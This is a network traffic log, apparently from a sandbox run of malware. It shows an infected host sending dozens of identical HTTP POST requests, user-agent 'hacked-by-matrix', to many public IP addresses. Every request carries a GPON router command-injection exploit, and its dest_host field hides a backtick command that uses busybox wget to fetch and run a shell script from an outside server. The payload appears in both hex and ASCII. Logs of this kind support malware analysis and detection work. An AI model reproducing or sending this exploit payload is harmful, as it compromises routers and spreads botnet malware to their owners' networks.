Mar 21, 2024 05:27:02.417191029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1694	192.168.2.23	60542	118.150.110.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417196989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1695	192.168.2.23	41870	79.212.49.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417200089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1696	192.168.2.23	39328	79.190.62.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417222023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1697	192.168.2.23	54060	212.191.183.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417236090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1698	192.168.2.23	49750	210.87.51.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417260885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1699	192.168.2.23	33236	79.125.253.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417265892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1700	192.168.2.23	58612	178.100.214.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417273045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1701	192.168.2.23	51808	5.223.46.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417290926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1702	192.168.2.23	33906	5.145.72.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417295933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1703	192.168.2.23	34060	210.228.36.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417309999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1704	192.168.2.23	37330	2.137.150.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417318106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1705	192.168.2.23	45498	118.105.122.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417325974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1706	192.168.2.23	39754	178.5.178.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417344093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1707	192.168.2.23	60744	37.50.77.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417352915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1708	192.168.2.23	59022	2.122.35.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417370081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1709	192.168.2.23	40956	94.128.17.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417372942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1710	192.168.2.23	42014	42.83.105.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417388916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1711	192.168.2.23	44838	2.136.122.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417388916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1712	192.168.2.23	44566	178.226.179.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417399883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1713	192.168.2.23	59564	5.112.229.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417404890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1714	192.168.2.23	55508	79.186.99.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417433023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1715	192.168.2.23	36954	79.236.235.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417433023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1716	192.168.2.23	36700	37.67.224.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417443991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1717	192.168.2.23	55744	109.98.101.251	443

Timestamp	Bytes transferred	Direction	Data
